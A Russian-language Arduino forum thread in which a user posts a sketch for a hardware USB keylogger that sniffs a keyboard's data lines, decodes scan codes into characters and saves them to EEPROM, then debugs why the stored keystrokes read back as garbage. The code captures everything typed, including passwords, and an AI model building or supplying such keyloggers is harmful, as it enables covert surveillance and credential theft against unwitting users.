usb keylogger

James
Offline
Зарегистрирован: 26.02.2016

задумка проста, слушаем юсб клавиатуру и пишем в еепром. Без записи в память в сериал все выводится нормально. При попытке чтения памяти выдает мусор, в чем причина?

 // библа и идея отсюда:  <a href="http://wiki.amperka.ru/projects:keylogger" title="http://wiki.amperka.ru/projects:keylogger" rel="nofollow">http://wiki.amperka.ru/projects:keylogger</a>
#include <usbdrv.h>
#include <EEPROM.h>
//uint8_t usbRxBuf[USB_BUFSIZE];
//uint8_t FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE];
uint8_t CurWritePos=0,CurReadPos=0;
uint8_t KeyData[8];
#define IN_SIZE       3
#define USB_BUFSIZE   11
#define FIFO_BUF_SIZE 10
int i;
unsigned char val;
unsigned char usbRxBuf[USB_BUFSIZE];
unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE];
// массив символов для декодирования скан-кодов при не нажатой клавиши Shift
unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./";
// массив символов для декодирования скан-кодов при зажатой клавиши Shift
unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?";
void setup(){
pinMode(2,INPUT); //USB d- 
pinMode(4,INPUT);// USB d+ 
/

Serial.begin(9600);
usbInit();
i = EEPROM[ 0 ];
while(i<0,i--){
EEPROM.get(i,val );
  Serial.print (val);
}
}

void loop() {
  if(CurWritePos!=CurReadPos){
    i++;
        EEPROM[ 0 ] = i;
    printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE,i);
    // for (uint8_t n=0; n < 8; n++) {
       // KeyData[n] = FIFOBuf[CurReadPos*14+4+n];
//        Serial.print (KeyData[n],HEX);
//        Serial.print (" ");

        //Serial.println ();
        CurReadPos++;
          if (CurReadPos>=FIFO_BUF_SIZE) CurReadPos = 0;    }


}
void printResult(uchar *datakey, uchar len,int i)
{
  bool shift = 0;
  // если во время очередного нажатия на клавишу
  // была нажата кнопка Shift
  if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
  shift = 1;
  else
  shift = 0;
  // если 4 или 3 байт из массива данных пришёл не нулевой
  // значит нажата одна из клавиш
  if (*(datakey + 4) != 0) {
  // вызываем функцию печати 2-го символа
  printKey(*(datakey + 4), shift,i);
  } else if (*(datakey + 3) != 0) {
         // вызываем функцию печати 1-го символа
         printKey(*(datakey + 3), shift,i);
         }
}
 
void printKey(uchar key, bool shift,int i)
{
  // если нажата одна из клавиш английского алфавита
  if (key >= 0x4 && key <= 0x27) {
    // если нажат Shift декодируем скан-коды как заглавные буквы
    if (shift == 1) {
      EEPROM.put(i,masskeyShift[key-4]);
      Serial.write(masskeyShift[key-4]);
    } else {
      // если нет декодируем скан-коды как строчные буквы
      EEPROM.put(i,masskey[key-4]);
      Serial.write(masskey[key-4]);
    }
  } else if (key == 0x28) {
    // если пришел скан-код клавиши Enter
    EEPROM.put(i,"Enter");
    Serial.print("\r\n");
  } else if (key == 0x2B) {
    // если пришел скан-код клавиши Tab
    EEPROM.put(i,"tab");
    Serial.print("\t");
  } else if (key == 0x2C) {
    // если пришел скан-код клавиши Space
    EEPROM.put(i,"Space");
    Serial.print(" ");
  } else if (key >= 0x2d && key <= 0x38) {
    // если пришел сканд-код из знаков пунктуации
    if (shift == 1){
    EEPROM.put(i,masskeyShift[key - 9]);
    Serial.write(masskeyShift[key - 9]);}
    else
    EEPROM.put(i,masskey[key - 9]);
    Serial.write(masskey[key - 9]);
  } else {
     EEPROM.put(i,"backspace");
    if(key==42){Serial.print("backspace");}
    else {
    // если пришёл скан-код которого мы не знаем
    // печатаем его без декодирования
     EEPROM.put(i,key);
  Serial.print(key);
  }
}
}

 

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

В каком месте выдаётся мысор? в 29-ой строке? Или где?. Дамп мусора, пожалуйста, в студию. Кстати, раз уж Вы печатаете что-то в строке 29, неплохо бы после строки 26 напечатать значение i

Да, кстати, строка 27 как-то нипадецки вставляет. Хотя, работает, как задумывалось, спору нет :)))

James
Offline
Зарегистрирован: 26.02.2016

про знак увидел, поменял, странно, что вообще работало

5649495550505051515211552535399545511556995722

при входных 987654321

да в 29, при попытке вывести сохраненные значения

добавил вывод

i=2 val=83 -"a"

 i=1 val=83 - "пробел"

i=0 val=2

Pavel7500
Offline
Зарегистрирован: 02.07.2018

Ну а в итоге что? Заработало как надо?